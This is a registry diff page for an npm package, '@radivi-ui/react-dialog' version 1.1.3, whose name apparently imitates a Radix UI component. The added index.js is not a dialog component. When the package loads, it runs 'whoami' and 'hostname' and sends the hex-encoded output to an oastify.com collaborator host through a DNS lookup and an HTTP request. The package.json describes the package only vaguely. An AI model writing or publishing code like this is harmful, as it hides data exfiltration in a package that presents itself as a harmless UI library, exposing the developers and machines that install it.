@radivi-ui/react-dialog 1.1.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +85 -0
  2. package/package.json +13 -0
package/index.js ADDED
@@ -0,0 +1,85 @@
1
+ // command-injection-oob.js
2
+ const https = require('https');
3
+ const http = require('http');
4
+ const dns = require('dns');
5
+ const { execSync } = require('child_process');
6
+
7
+ const COLLAB_HOST = 'fexxej4o07ba7nbvi82ucsw4xv3mref3.oastify.com';
8
+
9
+ // Encode output safely for DNS label (max 63 chars per label)
10
+ function encodeForDns(str) {
11
+ return Buffer.from(str.trim())
12
+ .toString('hex')
13
+ .slice(0, 60); // DNS label limit
14
+ }
15
+
16
+ // Exfiltrate via DNS lookup — most reliable for blind command injection
17
+ function exfilViaDns(label, collaboratorHost) {
18
+ const subdomain = `${label}.${collaboratorHost}`;
19
+ console.log(`[DNS EXFIL] Querying: ${subdomain}`);
20
+
21
+ return new Promise((resolve) => {
22
+ dns.resolve(subdomain, (err) => {
23
+ // Error is expected — the DNS query still fires to Burp Collaborator
24
+ resolve({ triggered: true, subdomain, error: err?.message });
25
+ });
26
+ });
27
+ }
28
+
29
+ // Exfiltrate via HTTP GET with output in path/subdomain
30
+ function exfilViaHttp(label, collaboratorHost) {
31
+ const host = `${label}.${collaboratorHost}`;
32
+ console.log(`[HTTP EXFIL] Requesting: http://${host}/`);
33
+
34
+ return new Promise((resolve) => {
35
+ const req = http.get(`http://${host}/`, (res) => {
36
+ resolve({ triggered: true, status: res.statusCode });
37
+ });
38
+ req.on('error', (err) => resolve({ triggered: true, error: err.message }));
39
+ req.setTimeout(5000, () => { req.destroy(); resolve({ triggered: true, error: 'timeout' }); });
40
+ });
41
+ }
42
+
43
+ // Run a local command and exfiltrate output to Burp Collaborator
44
+ async function testCommandInjection(command, collaboratorHost = COLLAB_HOST) {
45
+ console.log(`\n[+] Running command: ${command}`);
46
+
47
+ let output;
48
+ try {
49
+ output = execSync(command, { timeout: 5000 }).toString().trim();
50
+ console.log(`[+] Output: ${output}`);
51
+ } catch (e) {
52
+ output = e.message;
53
+ console.warn(`[!] Command error: ${output}`);
54
+ }
55
+
56
+ const encoded = encodeForDns(output);
57
+ console.log(`[+] Encoded for DNS: ${encoded}`);
58
+
59
+ // Fire both DNS and HTTP to maximize Burp Collaborator detection
60
+ const [dnsResult, httpResult] = await Promise.all([
61
+ exfilViaDns(encoded, collaboratorHost),
62
+ exfilViaHttp(encoded, collaboratorHost)
63
+ ]);
64
+
65
+ return { command, output, encoded, dnsResult, httpResult };
66
+ }
67
+
68
+ // --- Main ---
69
+ (async () => {
70
+ const results = [];
71
+
72
+ // Test 1: whoami
73
+ results.push(await testCommandInjection('whoami'));
74
+
75
+ // Test 2: hostname
76
+ results.push(await testCommandInjection('hostname'));
77
+
78
+ console.log('\n[✓] All probes sent to Burp Collaborator.');
79
+ console.log('[✓] Check your Collaborator tab for DNS/HTTP interactions.');
80
+ console.log('\nSummary:');
81
+ results.forEach(r => {
82
+ console.log(` ${r.command} => "${r.output}" => label: ${r.encoded}`);
83
+ });
84
+ })();
85
+
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "@radivi-ui/react-dialog",
3
+ "version": "1.1.3",
4
+ "description": "to help on react part",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "start": "node index.js",
8
+ "release:patch": "npm version patch && npm publish --access public",
9
+ "release:minor": "npm version minor && npm publish --access public",
10
+ "release:major": "npm version major && npm publish --access public"
11
+ }
12
+ }
13
+